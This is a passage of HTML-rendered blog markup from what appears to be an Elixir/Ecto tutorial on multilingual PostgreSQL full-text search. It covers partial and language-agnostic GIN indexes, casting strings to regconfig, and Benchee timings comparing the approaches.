&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;/span&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;            to_tsvector(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;              language::regconfig,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;              coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;            ) @@ websearch_to_tsquery(?::text::regconfig, ?)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;          &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This search function searches for books in a particular language that contain our search term. It uses the partial index of that language to make the search efficient. This solution is probably the most optimal solution in terms of storage costs and adding new languages. It doesn&apos;t require auto-generated fields and you can set up partial indexes for all languages without much extra costs. The migration and query are pretty minimal and not too verbose.&lt;/p&gt;
&lt;p&gt;You must know the language of a text, but you don&apos;t necessarily need to know the language of the search term. You could cycle through a list of &quot;most searched in&quot; languages and invoke the &lt;code&gt;search/2&lt;/code&gt; function until you receive a result. It&apos;s less efficient, but might work well enough in your use-case.&lt;/p&gt;
&lt;p&gt;The last solution presents a similar solution, but with only a single index instead of many partial ones. But before we dive into that one, a small caveat about working with &lt;code&gt;regconfig&lt;/code&gt; in Ecto.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#casting-strings-to-regconfig&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;casting-strings-to-regconfig&quot;&gt;&lt;/a&gt;Casting Strings to Regconfig&lt;/h3&gt;
&lt;p&gt;Note that we use &lt;code&gt;?::text::regconfig&lt;/code&gt; in the &lt;code&gt;websearch_to_tsquery&lt;/code&gt; function. Ecto &lt;a href=&quot;https://github.com/elixir-ecto/postgrex/issues/502#issuecomment-1288731875&quot;&gt;doesn&apos;t support&lt;/a&gt; casting strings to &lt;code&gt;regconfig&lt;/code&gt; directly, so we must cast the parameter first to &lt;code&gt;text&lt;/code&gt; and let Postgres handle the casting to &lt;code&gt;regconfig&lt;/code&gt;. If you do the following, you will receive an error from Ecto:&lt;/p&gt;
&lt;pre id=&quot;code-block-12&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;where&lt;/span&gt;: &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    to_tsvector(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      language::regconfig,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    # Note that we don&amp;#39;t cast to text first:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    ) @@ websearch_to_tsquery(?, ?)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Ecto can&amp;#39;t cast this parameter to `regconfig`&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# directly and throws an error.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#one-index-for-all-languages&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;one-index-for-all-languages&quot;&gt;&lt;/a&gt;One index for all languages&lt;/h3&gt;
&lt;p&gt;The last solution was an attempt to consolidate all partial indexes into a single index that uses the language of a book as a dynamic value to create the index&apos;s value. It was inspired by a &lt;a href=&quot;https://stackoverflow.com/questions/21288591/full-text-search-index-on-a-multilingual-column&quot;&gt;few&lt;/a&gt; &lt;a href=&quot;https://dba.stackexchange.com/a/149802&quot;&gt;different&lt;/a&gt; &lt;a href=&quot;https://elixirstream.dev/tips/32e059eb-038c-4cb8-8e0b-ce8ffbdaae8a&quot;&gt;resources&lt;/a&gt;. Let&apos;s have a look at the migration:&lt;/p&gt;
&lt;pre id=&quot;code-block-13&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Create table books ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    CREATE FUNCTION lang_to_regconfig(text) RETURNS regconfig
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      LANGUAGE sql IMMUTABLE STRICT AS $$
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      SELECT $1::regconfig; $$
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    CREATE INDEX books_language_agnostic_idx ON books
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;      USING gin(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        to_tsvector(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;            lang_to_regconfig(language),
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;            coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        )
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      );
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration first creates an immutable function that casts a text to a regconfig language. Without this function, we cannot create the index because the unwrapped &lt;code&gt;language::regconfig&lt;/code&gt; cast function is not immutable and Postgres doesn&apos;t allow mutable functions when creating indexes.&lt;/p&gt;
&lt;p&gt;The second step is to create the language agnostic index. It uses the &lt;code&gt;lang_to_regconfig&lt;/code&gt; function to cast the language of a book into a regconfig language. The rest is equal to the mutation of the partial indexes.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! We now have a single index for all books that contains a &lt;code&gt;tsvector&lt;/code&gt; only for their language. We can use the index for searching like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-14&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;/span&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;to_tsvector(
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;            lang_to_regconfig(language),
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;            coalesce(title, &amp;#39;&amp;#39;) || &amp;#39; &amp;#39; || coalesce(summary, &amp;#39;&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;          ) @@ websearch_to_tsquery(?::text::regconfig, ?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the left side of our &lt;code&gt;where&lt;/code&gt; fragment must equal how we constructed the index. So, if we wouldn&apos;t use the &lt;code&gt;lang_to_regconfig(language)&lt;/code&gt; function in our &lt;code&gt;where&lt;/code&gt; fragment, Postgres would not use the index. As always, please check your implementation locally using a Postgres explorer and the &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt; prefix before you deploy it into production.&lt;/p&gt;
&lt;p&gt;This final solution combines the best approaches of the previous solutions. It doesn&apos;t generate a new field to keep the storage costs minimal. You can add languages dynamically without the need for a new migration and don&apos;t have to create partial indexes for every supported language. You don&apos;t have to filter your books based on their language, but can search through all of them at once.&lt;/p&gt;
&lt;p&gt;According to Postgres&apos; analysis, the single index is significantly less costly &lt;code&gt;16.52 total cost&lt;/code&gt; than the partial index solution &lt;code&gt;3212.54 total cost&lt;/code&gt;. Sadly, we weren&apos;t able to test these two solutions on a real-world large dataset, so please let us know what works best for you!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#performance-comparison&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;performance-comparison&quot;&gt;&lt;/a&gt;Performance Comparison&lt;/h3&gt;
&lt;p&gt;We tested the three solutions with ~23k abstracts in 4 languages (German, Italian, Spanish, Dutch) taken from the &lt;a href=&quot;https://github.com/ricsinaruto/gutenberg-dialog&quot;&gt;Gutenberg Dialog&lt;/a&gt; project. We used &lt;a href=&quot;&quot;&gt;Benchee&lt;/a&gt; to benchmark each query. We only searched in a single language (German) with a single search term (a short sentence) that matched only a single abstract. Here are the results:&lt;/p&gt;
&lt;pre id=&quot;code-block-15&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Name&lt;/span&gt;                        &lt;span style=&quot;color: #e6edf3;&quot;&gt;ips&lt;/span&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;average&lt;/span&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;deviation&lt;/span&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;median&lt;/span&gt;         &lt;span style=&quot;color: #79c0ff;&quot;&gt;99&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;th&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;concatenated&lt;/span&gt;             &lt;span style=&quot;color: #79c0ff;&quot;&gt;242.57&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;4.12&lt;/span&gt; ms    ±&lt;span style=&quot;color: #79c0ff;&quot;&gt;39.02&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;3.76&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;8.96&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;agnostic&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;232.71&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;4.30&lt;/span&gt; ms    ±&lt;span style=&quot;color: #79c0ff;&quot;&gt;60.96&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;3.54&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;       &lt;span style=&quot;color: #79c0ff;&quot;&gt;12.12&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;partial&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;indexes&lt;/span&gt;            &lt;span style=&quot;color: #79c0ff;&quot;&gt;2.73&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;366.62&lt;/span&gt; ms     ±&lt;span style=&quot;color: #79c0ff;&quot;&gt;5.86&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;367.23&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;420.01&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;Comparison:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;concatenated&lt;/span&gt;             &lt;span style=&quot;color: #79c0ff;&quot;&gt;242.57&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;language&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;agnostic&lt;/span&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;232.71&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1.04&lt;/span&gt;x slower +&lt;span style=&quot;color: #79c0ff;&quot;&gt;0.175&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;ms&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;partial&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;indexes&lt;/span&gt;            &lt;span style=&quot;color: #79c0ff;&quot;&gt;2.73&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;88.93&lt;/span&gt;x slower &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;362.50&lt;/span&gt; ms
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Surprisingly, the &quot;dumb&quot; solution of concatenating all languages was the fastest! Our language agnostic solution with a single index made a decent second place, but the shocking outlier was our partial index search. We made sure that the German partial index was used by analyzing the query and got the following output:&lt;/p&gt;
&lt;pre id=&quot;code-block-16&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Gather&lt;/span&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cost&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1000.00&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;6737.78&lt;/span&gt; rows&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; width&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;739&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;actual&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1.645&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;137.773&lt;/span&gt; rows&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; loops&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Workers&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;Planned: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Workers&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;Launched: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Parallel&lt;/span&gt; Seq Scan &lt;span style=&quot;color: #d2a8ff;&quot;&gt;on&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;books&lt;/span&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;cost&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0.00&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;5737.68&lt;/span&gt; rows&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt; width&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: 